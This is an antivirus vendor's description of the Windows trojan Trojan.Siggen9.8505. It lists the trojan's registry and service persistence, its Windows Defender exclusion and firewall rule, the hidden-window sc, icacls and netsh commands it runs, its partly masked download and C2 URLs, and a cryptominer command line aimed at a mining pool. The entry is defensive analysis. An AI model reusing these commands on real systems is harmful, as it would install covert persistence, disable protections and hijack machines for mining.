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Trojan.Siggen9.8505
Added to the Dr.Web virus database:
2020-02-04
Virus description added:
2020-02-06
Technical Information
To ensure autorun and distribution
Modifies the following registry keys
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'SysHelper' = '"%LOCALAPPDATA%\7ceaceb8-bc23-413d-b12f-afd8e662dbcf\539B.tmp.exe" --AutoStart'
Creates or modifies the following files
%APPDATA%\microsoft\windows\start menu\programs\startup\cagiiuii.lnk
<SYSTEM32>\tasks\opera scheduled autoupdate 711520318
<SYSTEM32>\tasks\time trigger task
Creates the following services
[<HKLM>\System\CurrentControlSet\Services\klpjvrxd] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\klpjvrxd] 'ImagePath' = '%WINDIR%\SysWOW64\klpjvrxd\nluveapl.exe /d"%TEMP%\5A14.tmp.exe"'
[<HKLM>\SYSTEM\CurrentControlSet\services\klpjvrxd] 'ImagePath' = '%WINDIR%\SysWOW64\klpjvrxd\nluveapl.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\klpjvrxd' = '00000000'
Executes the following
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
%WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
%APPDATA%\microsoft\windows\cagiiuii\udsgtwcu.exe
%TEMP%\539b.tmp.exe
%TEMP%\5a14.tmp.exe
%TEMP%\nluveapl.exe
%LOCALAPPDATA%\7ceaceb8-bc23-413d-b12f-afd8e662dbcf\539b.tmp.exe
%WINDIR%\syswow64\config\systemprofile:.repos
%LOCALAPPDATA%\bowsakkdestx.txt
Sets the 'hidden' attribute to the following files
%APPDATA%\microsoft\windows\cagiiuii\udsgtwcu.exe
Deletes the following files
%TEMP%\5a14.tmp.exe
<SYSTEM32>\tasks\time trigger task
%LOCALAPPDATA%\bowsakkdestx.txt
Moves the following files
from %TEMP%\nluveapl.exe to %WINDIR%\syswow64\klpjvrxd\nluveapl.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
http://www.ms###csi.com/ncsi.txt
http://37.##.127.236/2.php
http://vi##1.ug/files/penelop/updatewin1.exe
http://vi##1.ug//Asjdi435784ihjk65pen2/get.php?pi#############################################
http://vi##1.ug/files/penelop/updatewin2.exe
http://vi##1.ug/files/penelop/updatewin.exe
http://vi##1.ug/files/penelop/3.exe
HTTP POST requests
http://cl####leankkl.net/
'ap#.2ip.ua':443
'43.#31.4.7':443
'85.##4.134.88':482
UDP
DNS ASK gh###8kjhb.net
DNS ASK cl####leankkl.net
DNS ASK ap#.2ip.ua
DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK vi##1.ug
DNS ASK 19#.###.211.95.in-addr.arpa
Miscellaneous
Creates and executes the following
'%TEMP%\539b.tmp.exe'
'%TEMP%\5a14.tmp.exe'
'%WINDIR%\syswow64\klpjvrxd\nluveapl.exe' /d"%TEMP%\5A14.tmp.exe"
'%TEMP%\539b.tmp.exe' --Admin IsNotAutoStart IsNotTask
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\klpjvrxd\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\nluveapl.exe" %WINDIR%\SysWOW64\klpjvrxd\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create klpjvrxd binPath= "%WINDIR%\SysWOW64\klpjvrxd\nluveapl.exe /d\"%TEMP%\5A14.tmp.exe\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description klpjvrxd "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start klpjvrxd' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
'%WINDIR%\syswow64\icacls.exe' "%LOCALAPPDATA%\7ceaceb8-bc23-413d-b12f-afd8e662dbcf" /deny *S-1-1-0:(OI)(CI)(DE,DC)' (with hidden window)
Executes the following
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\klpjvrxd\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\nluveapl.exe" %WINDIR%\SysWOW64\klpjvrxd\
'%WINDIR%\syswow64\sc.exe' create klpjvrxd binPath= "%WINDIR%\SysWOW64\klpjvrxd\nluveapl.exe /d\"%TEMP%\5A14.tmp.exe\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description klpjvrxd "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start klpjvrxd
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\icacls.exe' "%LOCALAPPDATA%\7ceaceb8-bc23-413d-b12f-afd8e662dbcf" /deny *S-1-1-0:(OI)(CI)(DE,DC)
'%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs4msiPiHNGTd5uzvZ9AGM1tjQoTiEX9BXopJg5er3ebEQ8a8mcwkjP5jNwst8rmVSRuogLs18DAVQzV76oHkVBk27idvmtUp.60000 -p x -k
Curing recommendations
Windows
macOS
Linux
Android
If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space .
If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.
If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
Switch off your device and turn it on as normal.
Find out more about Dr.Web for Android
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